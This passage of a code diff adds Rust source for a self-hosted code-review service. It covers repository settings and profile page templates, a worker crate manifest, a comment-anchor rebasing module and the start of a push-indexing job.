| 280 | + | button .btn.btn-primary type="submit" { "Save" } | |
| 281 | + | } | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | div .panel { | |
| 285 | + | h2 { "Storage" } | |
| 286 | + | dl .kv { | |
| 287 | + | dt { "On disk" } dd { (crate::views::repo::human_size(s.size_bytes)) } | |
| 288 | + | dt { "Created" } dd { (s.ctx.repo.created_at.format("%Y-%m-%d")) } | |
| 289 | + | dt { "Last push" } dd { (opt_date(s.ctx.repo.pushed_at)) } | |
| 290 | + | } | |
| 291 | + | } | |
| 292 | + | } | |
| 293 | + | } | |
| 294 | + | ||
| 295 | + | fn collaborators_tab(s: &RepoSettings<'_>) -> Markup { | |
| 296 | + | let base = s.ctx.base(); | |
| 297 | + | html! { | |
| 298 | + | div .panel { | |
| 299 | + | h2 { "Collaborators" } | |
| 300 | + | p .dim { | |
| 301 | + | "Effective access is the highest of a direct role here, an organization \ | |
| 302 | + | role, and repository ownership." | |
| 303 | + | } | |
| 304 | + | ||
| 305 | + | @if s.collaborators.is_empty() { | |
| 306 | + | p .hint { "No collaborators. Only the owner can reach this repository." } | |
| 307 | + | } @else { | |
| 308 | + | table .listing { | |
| 309 | + | thead { tr { th scope="col" { "User" } th scope="col" { "Role" } th scope="col" {} } } | |
| 310 | + | tbody { | |
| 311 | + | @for c in s.collaborators { | |
| 312 | + | tr { | |
| 313 | + | td { a href=(format!("/{}", c.handle)) { (c.handle) } } | |
| 314 | + | td { | |
| 315 | + | form method="post" action=(format!("{base}/settings/collaborators")) .row { | |
| 316 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 317 | + | input type="hidden" name="handle" value=(c.handle); | |
| 318 | + | select name="role" { | |
| 319 | + | @for r in ["read", "write", "maintain", "admin"] { | |
| 320 | + | option value=(r) selected[role_str(c.role) == r] { (r) } | |
| 321 | + | } | |
| 322 | + | } | |
| 323 | + | button .btn type="submit" { "Update" } | |
| 324 | + | } | |
| 325 | + | } | |
| 326 | + | td { | |
| 327 | + | form method="post" action=(format!("{base}/settings/collaborators/remove")) { | |
| 328 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 329 | + | input type="hidden" name="handle" value=(c.handle); | |
| 330 | + | button .btn.btn-danger type="submit" { "Remove" } | |
| 331 | + | } | |
| 332 | + | } | |
| 333 | + | } | |
| 334 | + | } | |
| 335 | + | } | |
| 336 | + | } | |
| 337 | + | } | |
| 338 | + | ||
| 339 | + | form method="post" action=(format!("{base}/settings/collaborators")) .stack { | |
| 340 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 341 | + | div .field { | |
| 342 | + | label for="handle" { "Add a collaborator" } | |
| 343 | + | input type="text" id="handle" name="handle" required | |
| 344 | + | pattern="[a-z0-9][a-z0-9-]*" maxlength="39" placeholder="handle"; | |
| 345 | + | } | |
| 346 | + | div .field { | |
| 347 | + | label for="role" { "Role" } | |
| 348 | + | select id="role" name="role" { | |
| 349 | + | option value="read" { "read — browse and comment" } | |
| 350 | + | option value="write" selected { "write — also push" } | |
| 351 | + | option value="maintain" { "maintain — also manage changes and settings" } | |
| 352 | + | option value="admin" { "admin — also delete" } | |
| 353 | + | } | |
| 354 | + | } | |
| 355 | + | button .btn.btn-primary type="submit" { "Add" } | |
| 356 | + | } | |
| 357 | + | } | |
| 358 | + | } | |
| 359 | + | } | |
| 360 | + | ||
| 361 | + | fn bookmarks_tab(s: &RepoSettings<'_>) -> Markup { | |
| 362 | + | let base = s.ctx.base(); | |
| 363 | + | html! { | |
| 364 | + | div .panel { | |
| 365 | + | h2 { "Bookmarks" } | |
| 366 | + | p .dim { | |
| 367 | + | "A protected bookmark cannot be deleted or force-updated by a push. \ | |
| 368 | + | The default bookmark is always protected." | |
| 369 | + | } | |
| 370 | + | ||
| 371 | + | @if s.bookmarks.is_empty() { | |
| 372 | + | p .hint { "Nothing has been pushed yet." } | |
| 373 | + | } @else { | |
| 374 | + | table .listing { | |
| 375 | + | thead { tr { th scope="col" { "Bookmark" } th scope="col" { "Protected" } th scope="col" {} } } | |
| 376 | + | tbody { | |
| 377 | + | @for b in s.bookmarks { | |
| 378 | + | tr { | |
| 379 | + | td { | |
| 380 | + | code { (b.name) } | |
| 381 | + | @if b.is_default { " " span .chip { "default" } } | |
| 382 | + | } | |
| 383 | + | td { @if b.protected || b.is_default { "yes" } @else { "no" } } | |
| 384 | + | td { | |
| 385 | + | @if !b.is_default { | |
| 386 | + | form method="post" action=(format!("{base}/settings/bookmarks")) { | |
| 387 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 388 | + | input type="hidden" name="name" value=(b.name); | |
| 389 | + | input type="hidden" name="protected" | |
| 390 | + | value=(if b.protected { "0" } else { "1" }); | |
| 391 | + | button .btn type="submit" { | |
| 392 | + | @if b.protected { "Unprotect" } @else { "Protect" } | |
| 393 | + | } | |
| 394 | + | } | |
| 395 | + | } @else { | |
| 396 | + | span .faint { "always" } | |
| 397 | + | } | |
| 398 | + | } | |
| 399 | + | } | |
| 400 | + | } | |
| 401 | + | } | |
| 402 | + | } | |
| 403 | + | } | |
| 404 | + | } | |
| 405 | + | } | |
| 406 | + | } | |
| 407 | + | ||
| 408 | + | fn danger_tab(s: &RepoSettings<'_>) -> Markup { | |
| 409 | + | let base = s.ctx.base(); | |
| 410 | + | let full = format!("{}/{}", s.ctx.owner, s.ctx.repo.name); | |
| 411 | + | html! { | |
| 412 | + | div .panel.panel-danger { | |
| 413 | + | h2 { "Danger zone" } | |
| 414 | + | ||
| 415 | + | form method="post" action=(format!("{base}/settings/archive")) .stack { | |
| 416 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 417 | + | h3 { @if s.ctx.repo.archived { "Unarchive" } @else { "Archive" } } | |
| 418 | + | p .dim { | |
| 419 | + | "An archived repository is read-only: it still browses, but pushes \ | |
| 420 | + | are refused." | |
| 421 | + | } | |
| 422 | + | input type="hidden" name="archived" value=(if s.ctx.repo.archived { "0" } else { "1" }); | |
| 423 | + | button .btn type="submit" { | |
| 424 | + | @if s.ctx.repo.archived { "Unarchive repository" } @else { "Archive repository" } | |
| 425 | + | } | |
| 426 | + | } | |
| 427 | + | ||
| 428 | + | hr; | |
| 429 | + | ||
| 430 | + | @if s.ctx.access.can_delete() { | |
| 431 | + | form method="post" action=(format!("{base}/settings/delete")) .stack { | |
| 432 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 433 | + | h3 { "Delete this repository" } | |
| 434 | + | p .dim { | |
| 435 | + | "This removes the repository, its changes, its reviews, and every \ | |
| 436 | + | comment on them. It cannot be undone and the stored objects are \ | |
| 437 | + | deleted from disk." | |
| 438 | + | } | |
| 439 | + | div .field { | |
| 440 | + | label for="confirm" { | |
| 441 | + | "Type " code { (full) } " to confirm" | |
| 442 | + | } | |
| 443 | + | input type="text" id="confirm" name="confirm" required autocomplete="off"; | |
| 444 | + | } | |
| 445 | + | button .btn.btn-danger type="submit" { "Delete repository" } | |
| 446 | + | } | |
| 447 | + | } @else { | |
| 448 | + | p .hint { "Only a repository administrator can delete it." } | |
| 449 | + | } | |
| 450 | + | } | |
| 451 | + | } | |
| 452 | + | } | |
| 453 | + | ||
| 454 | + | // ─── owner profile ─────────────────────────────────────────────────────────── | |
| 455 | + | ||
| 456 | + | pub struct ProfileRepo { | |
| 457 | + | pub name: String, | |
| 458 | + | pub description: Option<String>, | |
| 459 | + | pub private: bool, | |
| 460 | + | pub pushed_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 461 | + | } | |
| 462 | + | ||
| 463 | + | pub struct Profile<'a> { | |
| 464 | + | pub handle: &'a str, | |
| 465 | + | pub display_name: Option<&'a str>, | |
| 466 | + | pub description: Option<&'a str>, | |
| 467 | + | pub is_org: bool, | |
| 468 | + | pub repos: &'a [ProfileRepo], | |
| 469 | + | /// Org members, when the profile is an organization. | |
| 470 | + | pub members: &'a [(String, df_db::models::OrgRole)], | |
| 471 | + | pub joined: chrono::DateTime<chrono::Utc>, | |
| 472 | + | } | |
| 473 | + | ||
| 474 | + | pub fn profile(p: Profile<'_>) -> Markup { | |
| 475 | + | html! { | |
| 476 | + | div .panel { | |
| 477 | + | div .row { | |
| 478 | + | h1 style="margin:0" { (p.display_name.unwrap_or(p.handle)) } | |
| 479 | + | @if p.is_org { span .chip { "organization" } } | |
| 480 | + | } | |
| 481 | + | p .dim { "@" (p.handle) } | |
| 482 | + | @if let Some(d) = p.description { p { (d) } } | |
| 483 | + | p .hint { "Here since " (p.joined.format("%B %Y")) "." } | |
| 484 | + | } | |
| 485 | + | ||
| 486 | + | div .panel { | |
| 487 | + | h2 { "Repositories" } | |
| 488 | + | @if p.repos.is_empty() { | |
| 489 | + | p .hint { "Nothing visible to you here." } | |
| 490 | + | } @else { | |
| 491 | + | div .stack { | |
| 492 | + | @for r in p.repos { | |
| 493 | + | div .row { | |
| 494 | + | a href=(format!("/{}/{}", p.handle, r.name)) { strong { (r.name) } } | |
| 495 | + | @if r.private { span .chip { "private" } } | |
| 496 | + | @if let Some(d) = &r.description { span .dim { (d) } } | |
| 497 | + | span .faint style="margin-left:auto" { | |
| 498 | + | @if let Some(t) = r.pushed_at { "pushed " (t.format("%Y-%m-%d")) } | |
| 499 | + | } | |
| 500 | + | } | |
| 501 | + | } | |
| 502 | + | } | |
| 503 | + | } | |
| 504 | + | } | |
| 505 | + | ||
| 506 | + | @if p.is_org && !p.members.is_empty() { | |
| 507 | + | div .panel { | |
| 508 | + | h2 { "Members" } | |
| 509 | + | div .stack { | |
| 510 | + | @for (handle, role) in p.members { | |
| 511 | + | div .row { | |
| 512 | + | a href=(format!("/{handle}")) { (handle) } | |
| 513 | + | span .chip { (org_role_str(*role)) } | |
| 514 | + | } | |
| 515 | + | } | |
| 516 | + | } | |
| 517 | + | } | |
| 518 | + | } | |
| 519 | + | } | |
| 520 | + | } | |
| 521 | + | ||
| 522 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 523 | + | ||
| 524 | + | fn opt_date(t: Option<chrono::DateTime<chrono::Utc>>) -> String { | |
| 525 | + | t.map(|t| t.format("%Y-%m-%d").to_string()) | |
| 526 | + | .unwrap_or_else(|| "never".into()) | |
| 527 | + | } | |
| 528 | + | ||
| 529 | + | pub fn role_str(r: df_db::models::RepoRole) -> &'static str { | |
| 530 | + | use df_db::models::RepoRole::*; | |
| 531 | + | match r { | |
| 532 | + | Read => "read", | |
| 533 | + | Write => "write", | |
| 534 | + | Maintain => "maintain", | |
| 535 | + | Admin => "admin", | |
| 536 | + | } | |
| 537 | + | } | |
| 538 | + | ||
| 539 | + | fn org_role_str(r: df_db::models::OrgRole) -> &'static str { | |
| 540 | + | match r { | |
| 541 | + | df_db::models::OrgRole::Member => "member", | |
| 542 | + | df_db::models::OrgRole::Admin => "admin", | |
| 543 | + | } | |
| 544 | + | } | |
Acrates/df-worker/Cargo.toml+26−0
| @@ −0,0 +1,26 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-worker" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [[bin]] | |
| 9 | + | name = "dogfood-worker" | |
| 10 | + | path = "src/main.rs" | |
| 11 | + | ||
| 12 | + | [dependencies] | |
| 13 | + | df-db = { path = "../df-db" } | |
| 14 | + | df-index = { path = "../df-index" } | |
| 15 | + | df-store = { path = "../df-store" } | |
| 16 | + | ||
| 17 | + | anyhow.workspace = true | |
| 18 | + | chrono.workspace = true | |
| 19 | + | dotenvy.workspace = true | |
| 20 | + | serde.workspace = true | |
| 21 | + | serde_json.workspace = true | |
| 22 | + | sqlx.workspace = true | |
| 23 | + | tokio.workspace = true | |
| 24 | + | tracing.workspace = true | |
| 25 | + | tracing-subscriber.workspace = true | |
| 26 | + | uuid.workspace = true | |
Acrates/df-worker/src/anchors.rs+220−0
| @@ −0,0 +1,220 @@ | |||
| 1 | + | //! Step 6 of the indexing pipeline: rebase comment anchors onto the new | |
| 2 | + | //! revision (spec §4, §5). | |
| 3 | + | //! | |
| 4 | + | //! > This is the mechanism that makes stable change identity actually pay off | |
| 5 | + | //! > for reviewers, and it is the single most valuable piece of logic in the | |
| 6 | + | //! > product. | |
| 7 | + | //! | |
| 8 | + | //! The decision logic is `df_index::rebase_anchor`, which is pure and heavily | |
| 9 | + | //! tested. This module is the part that touches the world: read the two | |
| 10 | + | //! versions of each commented file out of the store, build the line mapping, | |
| 11 | + | //! and write the outcome back. | |
| 12 | + | //! | |
| 13 | + | //! Two properties it has to hold: | |
| 14 | + | //! | |
| 15 | + | //! * **Idempotent.** Re-running the indexer over the same revisions must not | |
| 16 | + | //! walk a comment further down the file each time. The anchor is always | |
| 17 | + | //! rebased *from the revision it is currently anchored to*, so a second run | |
| 18 | + | //! over the same pair is a no-op rather than a second shift. | |
| 19 | + | //! * **Never destructive.** A comment whose anchor cannot be resolved is marked | |
| 20 | + | //! `outdated` or `orphaned`. It is never deleted and its `anchor_context` — | |
| 21 | + | //! the line as it read when the comment was written — is never overwritten. | |
| 22 | + | ||
| 23 | + | use std::collections::HashMap; | |
| 24 | + | use std::path::Path; | |
| 25 | + | ||
| 26 | + | use anyhow::Result; | |
| 27 | + | use df_index::{rebase_anchor, AnchorOutcome}; | |
| 28 | + | use df_store::{RepoId, RepoStore, RevId}; | |
| 29 | + | use sqlx::PgPool; | |
| 30 | + | use uuid::Uuid; | |
| 31 | + | ||
| 32 | + | /// How many comments to rebase in one pass. | |
| 33 | + | /// | |
| 34 | + | /// A change with thousands of inline comments is pathological, and reading two | |
| 35 | + | /// blobs per distinct file is the expensive part; the cap keeps one push from | |
| 36 | + | /// occupying the worker indefinitely. | |
| 37 | + | const MAX_COMMENTS: i64 = 2_000; | |
| 38 | + | ||
| 39 | + | #[derive(Debug, Default, PartialEq, Eq)] | |
| 40 | + | pub struct Summary { | |
| 41 | + | pub moved: usize, | |
| 42 | + | pub outdated: usize, | |
| 43 | + | pub orphaned: usize, | |
| 44 | + | pub unchanged: usize, | |
| 45 | + | } | |
| 46 | + | ||
| 47 | + | impl Summary { | |
| 48 | + | pub fn touched(&self) -> usize { | |
| 49 | + | self.moved + self.outdated + self.orphaned | |
| 50 | + | } | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | struct Anchor { | |
| 54 | + | id: Uuid, | |
| 55 | + | path: String, | |
| 56 | + | line: i32, | |
| 57 | + | context: Option<String>, | |
| 58 | + | state: String, | |
| 59 | + | } | |
| 60 | + | ||
| 61 | + | /// Re-anchor every inline comment on `change_uuid` from `from_rev` onto | |
| 62 | + | /// `to_rev`. | |
| 63 | + | pub async fn rebase( | |
| 64 | + | db: &PgPool, | |
| 65 | + | store: &dyn RepoStore, | |
| 66 | + | repo: RepoId, | |
| 67 | + | change_uuid: Uuid, | |
| 68 | + | from_rev: &str, | |
| 69 | + | to_rev: &str, | |
| 70 | + | new_revision_id: Uuid, | |
| 71 | + | ) -> Result<Summary> { | |
| 72 | + | if from_rev == to_rev { | |
| 73 | + | return Ok(Summary::default()); | |
| 74 | + | } | |
| 75 | + | ||
| 76 | + | let rows: Vec<(Uuid, String, i32, Option<String>, String)> = sqlx::query_as( | |
| 77 | + | "SELECT id, anchor_path, anchor_line, anchor_context, anchor_state::text | |
| 78 | + | FROM comments | |
| 79 | + | WHERE change_id_fk = $1 | |
| 80 | + | AND anchor_path IS NOT NULL | |
| 81 | + | AND anchor_line IS NOT NULL | |
| 82 | + | -- An orphaned anchor has nothing left to track. Re-examining it on | |
| 83 | + | -- every push would be work with no possible outcome. | |
| 84 | + | AND anchor_state <> 'orphaned' | |
| 85 | + | ORDER BY id | |
| 86 | + | LIMIT $2", | |
| 87 | + | ) | |
| 88 | + | .bind(change_uuid) | |
| 89 | + | .bind(MAX_COMMENTS) | |
| 90 | + | .fetch_all(db) | |
| 91 | + | .await?; | |
| 92 | + | ||
| 93 | + | if rows.is_empty() { | |
| 94 | + | return Ok(Summary::default()); | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | let anchors: Vec<Anchor> = rows | |
| 98 | + | .into_iter() | |
| 99 | + | .map(|(id, path, line, context, state)| Anchor { id, path, line, context, state }) | |
| 100 | + | .collect(); | |
| 101 | + | ||
| 102 | + | // Group by file so each file's two blobs are read once, however many | |
| 103 | + | // comments sit in it. | |
| 104 | + | let mut by_path: HashMap<&str, Vec<&Anchor>> = HashMap::new(); | |
| 105 | + | for a in &anchors { | |
| 106 | + | by_path.entry(a.path.as_str()).or_default().push(a); | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | let from = RevId::from_stored(from_rev.to_owned()); | |
| 110 | + | let to = RevId::from_stored(to_rev.to_owned()); | |
| 111 | + | ||
| 112 | + | let mut summary = Summary::default(); | |
| 113 | + | ||
| 114 | + | for (path, group) in by_path { | |
| 115 | + | let p = Path::new(path); | |
| 116 | + | ||
| 117 | + | let old_text = read_text(store, repo, &from, p).await; | |
| 118 | + | let new_text = read_text(store, repo, &to, p).await; | |
| 119 | + | ||
| 120 | + | // Gone from the new revision: every comment in it is orphaned and goes | |
| 121 | + | // to the overview timeline (spec §5 step 5). | |
| 122 | + | let Some(new_text) = new_text else { | |
| 123 | + | for a in group { | |
| 124 | + | set_state(db, a.id, "orphaned", None, new_revision_id).await?; | |
| 125 | + | summary.orphaned += 1; | |
| 126 | + | } | |
| 127 | + | continue; | |
| 128 | + | }; | |
| 129 | + | ||
| 130 | + | // Present in the new revision but unreadable in the old one — a file | |
| 131 | + | // added by this rewrite, or one that used to be binary. There is no | |
| 132 | + | // mapping to follow, so the content search inside `rebase_anchor` is the | |
| 133 | + | // only thing that can save the anchor. An empty old side gives it | |
| 134 | + | // exactly that. | |
| 135 | + | let old_text = old_text.unwrap_or_default(); | |
| 136 | + | ||
| 137 | + | let mapping = df_index::line_map(&old_text, &new_text); | |
| 138 | + | ||
| 139 | + | for a in group { | |
| 140 | + | let outcome = rebase_anchor(a.line as u32, a.context.as_deref(), &mapping, true); | |
| 141 | + | ||
| 142 | + | match outcome { | |
| 143 | + | AnchorOutcome::Unchanged => { | |
| 144 | + | // Still `current`, but the anchor now names the new | |
| 145 | + | // revision — that is what makes the next rebase start from | |
| 146 | + | // the right place, and what makes re-running idempotent. | |
| 147 | + | set_state(db, a.id, "current", Some(a.line), new_revision_id).await?; | |
| 148 | + | summary.unchanged += 1; | |
| 149 | + | } | |
| 150 | + | AnchorOutcome::Moved { new_line } => { | |
| 151 | + | set_state(db, a.id, "current", Some(new_line as i32), new_revision_id).await?; | |
| 152 | + | summary.moved += 1; | |
| 153 | + | } | |
| 154 | + | AnchorOutcome::Outdated => { | |
| 155 | + | // The line number is deliberately left alone: it is where | |
| 156 | + | // the comment was written, and moving it to a guess would | |
| 157 | + | // make the retained context misleading. | |
| 158 | + | set_state(db, a.id, "outdated", None, new_revision_id).await?; | |
| 159 | + | if a.state != "outdated" { | |
| 160 | + | summary.outdated += 1; | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | AnchorOutcome::Orphaned => { | |
| 164 | + | set_state(db, a.id, "orphaned", None, new_revision_id).await?; | |
| 165 | + | summary.orphaned += 1; | |
| 166 | + | } | |
| 167 | + | } | |
| 168 | + | } | |
| 169 | + | } | |
| 170 | + | ||
| 171 | + | Ok(summary) | |
| 172 | + | } | |
| 173 | + | ||
| 174 | + | /// Read a file as text, or `None` if it is missing, binary, or too large. | |
| 175 | + | async fn read_text( | |
| 176 | + | store: &dyn RepoStore, | |
| 177 | + | repo: RepoId, | |
| 178 | + | rev: &RevId, | |
| 179 | + | path: &Path, | |
| 180 | + | ) -> Option<String> { | |
| 181 | + | match store.read_blob(repo, rev, path).await { | |
| 182 | + | Ok(b) => b.text().map(str::to_owned), | |
| 183 | + | Err(df_store::StoreError::NoSuchPath) | Err(df_store::StoreError::IsDirectory) => None, | |
| 184 | + | Err(e) => { | |
| 185 | + | // Anything else — too large, unreadable — is treated as "cannot | |
| 186 | + | // follow this file", which produces an honest `orphaned` rather | |
| 187 | + | // than a wrong line number. | |
| 188 | + | tracing::debug!(?path, "reading a commented file failed: {e}"); | |
| 189 | + | None | |
| 190 | + | } | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | /// Write one anchor's new state. | |
| 195 | + | /// | |
| 196 | + | /// `anchor_context` is never touched: spec §5 step 4 says an outdated comment | |
| 197 | + | /// retains the original text for display, and that text is the only record of | |
| 198 | + | /// what the reviewer was looking at. | |
| 199 | + | async fn set_state( | |
| 200 | + | db: &PgPool, | |
| 201 | + | comment_id: Uuid, | |
| 202 | + | state: &str, | |
| 203 | + | line: Option<i32>, | |
| 204 | + | revision_id: Uuid, | |
| 205 | + | ) -> Result<()> { | |
| 206 | + | sqlx::query( | |
| 207 | + | "UPDATE comments | |
| 208 | + | SET anchor_state = $2::anchor_state, | |
| 209 | + | anchor_line = COALESCE($3, anchor_line), | |
| 210 | + | anchor_revision = $4 | |
| 211 | + | WHERE id = $1", | |
| 212 | + | ) | |
| 213 | + | .bind(comment_id) | |
| 214 | + | .bind(state) | |
| 215 | + | .bind(line) | |
| 216 | + | .bind(revision_id) | |
| 217 | + | .execute(db) | |
| 218 | + | .await?; | |
| 219 | + | Ok(()) | |
| 220 | + | } | |
Acrates/df-worker/src/index_push.rs579 lines+579−0
| @@ −0,0 +1,579 @@ | |||
| 1 | + | //! The `IndexPush` job (spec §4). | |
| 2 | + | //! | |
| 3 | + | //! Turns pushed Git objects into the change index. Everything here must be | |
| 4 | + | //! **idempotent** — running it twice over the same repository produces the same | |
| 5 | + | //! rows — because `dogfood-admin reindex` runs it against live repositories | |
| 6 | + | //! every time indexing logic changes. | |
| 7 | + | ||
| 8 | + | use std::collections::{HashMap, HashSet}; | |
| 9 | + | ||
| 10 | + | use anyhow::{Context, Result}; | |
| 11 | + | use df_db::ids::new_id; | |
| 12 | + | use df_index::indexer::{self, ChangeState, IndexedCommit, StackEdge}; | |
| 13 | + | use df_store::{DiffOpts, RepoId, RepoStore, RevId}; | |
| 14 | + | use sqlx::PgPool; | |
| 15 | + | use uuid::Uuid; | |
| 16 | + | ||
| 17 | + | /// How far back to walk from each bookmark. | |
| 18 | + | /// | |
| 19 | + | /// Bounded so indexing a repository with a very long history cannot run | |
| 20 | + | /// unboundedly. Older commits were indexed when they were pushed. | |
| 21 | + | const WALK_LIMIT: usize = 1000; | |
| 22 | + | ||
| 23 | + | pub struct Outcome { | |
| 24 | + | pub changes_seen: usize, | |
| 25 | + | pub revisions_added: usize, | |
| 26 | + | } | |
| 27 | + | ||
| 28 | + | /// Index everything reachable from a repository's bookmarks. | |
| 29 | + | pub async fn run( | |
| 30 | + | db: &PgPool, | |
| 31 | + | store: &dyn RepoStore, | |
| 32 | + | repo_id: Uuid, | |
| 33 | + | pushed_by: Option<Uuid>, | |
| 34 | + | ) -> Result<Outcome> { | |
| 35 | + | let sid = RepoId(repo_id); | |
| 36 | + | ||
| 37 | + | let (default_bookmark,): (String,) = | |
| 38 | + | sqlx::query_as("SELECT default_bookmark FROM repos WHERE id = $1") | |
| 39 | + | .bind(repo_id) | |
| 40 | + | .fetch_one(db) | |
| 41 | + | .await | |
| 42 | + | .context("loading repository")?; | |
| 43 | + | ||
| 44 | + | // ── 1. walk commits reachable from every bookmark ──────────────────────── | |
| 45 | + | let bookmarks = store.bookmarks(sid).await.context("listing bookmarks")?; | |
| 46 | + | ||
| 47 | + | let mut commits: HashMap<String, IndexedCommit> = HashMap::new(); | |
| 48 | + | for b in &bookmarks { | |
| 49 | + | let revs = match store.log(sid, &b.target, WALK_LIMIT).await { | |
| 50 | + | Ok(r) => r, | |
| 51 | + | Err(e) => { | |
| 52 | + | tracing::warn!(bookmark = %b.name, "walking bookmark failed: {e}"); | |
| 53 | + | continue; | |
| 54 | + | } | |
| 55 | + | }; | |
| 56 | + | for r in revs { | |
| 57 | + | commits.entry(r.rev.as_str().to_string()).or_insert_with(|| { | |
| 58 | + | IndexedCommit { | |
| 59 | + | rev: r.rev.as_str().to_string(), | |
| 60 | + | change_id: r.change_id.as_deref().and_then(df_index::ChangeId::parse), | |
| 61 | + | parents: r.parents.iter().map(|p| p.as_str().to_string()).collect(), | |
| 62 | + | author_name: r.author.name.clone(), | |
| 63 | + | author_email: r.author.email.clone(), | |
| 64 | + | authored_at: r.author.when, | |
| 65 | + | message: r.message.clone(), | |
| 66 | + | conflicted: r.conflicted, | |
| 67 | + | conflict_sides: r.conflict_sides.clone(), | |
| 68 | + | conflict_bases: r.conflict_bases.clone(), | |
| 69 | + | } | |
| 70 | + | }); | |
| 71 | + | } | |
| 72 | + | } | |
| 73 | + | ||
| 74 | + | // Persist the bookmarks themselves. | |
| 75 | + | sync_bookmarks(db, repo_id, &bookmarks).await?; | |
| 76 | + | ||
| 77 | + | // ── 2. which changes are already on the default bookmark? ──────────────── | |
| 78 | + | // A change reachable from the target has landed. | |
| 79 | + | let mut merged: HashSet<String> = HashSet::new(); | |
| 80 | + | if let Some(target) = bookmarks.iter().find(|b| b.name == default_bookmark) { | |
| 81 | + | if let Ok(revs) = store.log(sid, &target.target, WALK_LIMIT).await { | |
| 82 | + | for r in revs { | |
| 83 | + | if let Some(c) = r.change_id { | |
| 84 | + | merged.insert(c); | |
| 85 | + | } | |
| 86 | + | } | |
| 87 | + | } | |
| 88 | + | } | |
| 89 | + | ||
| 90 | + | // ── 3. upsert changes and revisions ────────────────────────────────────── | |
| 91 | + | let commit_list: Vec<IndexedCommit> = commits.into_values().collect(); | |
| 92 | + | ||
| 93 | + | let mut change_rows: HashMap<String, Uuid> = HashMap::new(); | |
| 94 | + | let mut revisions_added = 0usize; | |
| 95 | + | ||
| 96 | + | for c in &commit_list { | |
| 97 | + | // jj commits carry their change id. Plain-git commits do not, and get a | |
| 98 | + | // patch-derived synthetic identity instead so `git push` users are not | |
| 99 | + | // second-class (spec §4). | |
| 100 | + | let (change_id, synthetic) = match c.change_id.as_ref() { | |
| 101 | + | Some(id) => (id.as_str().to_string(), false), | |
| 102 | + | None => match synthetic_identity(store, sid, c).await { | |
| 103 | + | Some(id) => (id, true), | |
| 104 | + | None => { | |
| 105 | + | tracing::warn!(rev = %c.rev, "could not derive a synthetic identity; skipping"); | |
| 106 | + | continue; | |
| 107 | + | } | |
| 108 | + | }, | |
| 109 | + | }; | |
| 110 | + | ||
| 111 | + | // The root change (all-z) is jj's synthetic root, not user work. | |
| 112 | + | if change_id.bytes().all(|b| b == b'z') { | |
| 113 | + | continue; | |
| 114 | + | } | |
| 115 | + | ||
| 116 | + | let change_uuid = upsert_change( | |
| 117 | + | db, | |
| 118 | + | repo_id, | |
| 119 | + | &change_id, | |
| 120 | + | c, | |
| 121 | + | &default_bookmark, | |
| 122 | + | merged.contains(&change_id), | |
| 123 | + | synthetic, | |
| 124 | + | ) | |
| 125 | + | .await?; | |
| 126 | + | ||
| 127 | + | change_rows.insert(change_id.clone(), change_uuid); | |
| 128 | + | ||
| 129 | + | // Step 6: rebase comment anchors onto the new revision. Done here, | |
| 130 | + | // while the previous head is still known, rather than in a second pass | |
| 131 | + | // that would have to reconstruct it (spec §4). | |
| 132 | + | match insert_revision(db, change_uuid, c, pushed_by).await? { | |
| 133 | + | Inserted::Existing => {} | |
| 134 | + | Inserted::New { id, previous_head } => { | |
| 135 | + | revisions_added += 1; | |
| 136 | + | ||
| 137 | + | if let Some(prev) = previous_head { | |
| 138 | + | match crate::anchors::rebase( | |
| 139 | + | db, store, sid, change_uuid, &prev, &c.rev, id, | |
| 140 | + | ) | |
| 141 | + | .await | |
| 142 | + | { | |
| 143 | + | Ok(summary) if summary.touched() > 0 => { | |
| 144 | + | emit_event( | |
| 145 | + | db, | |
| 146 | + | repo_id, | |
| 147 | + | "comments.rebased", | |
| 148 | + | change_uuid, | |
| 149 | + | serde_json::json!({ | |
| 150 | + | "moved": summary.moved, | |
| 151 | + | "outdated": summary.outdated, | |
| 152 | + | "orphaned": summary.orphaned, | |
| 153 | + | }), | |
| 154 | + | ) | |
| 155 | + | .await; | |
| 156 | + | } | |
| 157 | + | Ok(_) => {} | |
| 158 | + | // A failure here must not lose the revision that was | |
| 159 | + | // just indexed. The comments keep their old anchors, | |
| 160 | + | // which are stale but not wrong about anything. | |
| 161 | + | Err(e) => tracing::error!( | |
| 162 | + | change = %change_uuid, | |
| 163 | + | "rebasing comment anchors failed: {e}" | |
| 164 | + | ), | |
| 165 | + | } | |
| 166 | + | } | |
| 167 | + | ||
| 168 | + | emit_event( | |
| 169 | + | db, | |
| 170 | + | repo_id, | |
| 171 | + | "change.pushed", | |
| 172 | + | change_uuid, | |
| 173 | + | serde_json::json!({ "rev": c.rev }), | |
| 174 | + | ) | |
| 175 | + | .await; | |
| 176 | + | ||
| 177 | + | if c.conflicted { | |
| 178 | + | emit_event( | |
| 179 | + | db, | |
| 180 | + | repo_id, | |
| 181 | + | "change.conflicted", | |
| 182 | + | change_uuid, | |
| 183 | + | serde_json::json!({ "rev": c.rev }), | |
| 184 | + | ) | |
| 185 | + | .await; | |
| 186 | + | } | |
| 187 | + | } | |
| 188 | + | } | |
| 189 | + | } | |
| 190 | + | ||
| 191 | + | // ── 4. stack edges ─────────────────────────────────────────────────────── | |
| 192 | + | let edges = indexer::stack_edges(&commit_list, &merged); | |
| 193 | + | sync_stack_edges(db, repo_id, &edges, &change_rows).await?; | |
| 194 | + | ||
| 195 | + | // ── 5. notify open pages ───────────────────────────────────────────────── | |
| 196 | + | if let Err(e) = sqlx::query("SELECT pg_notify('dogfood_repo', $1)") | |
| 197 | + | .bind(repo_id.to_string()) | |
| 198 | + | .execute(db) | |
| 199 | + | .await | |
| 200 | + | { | |
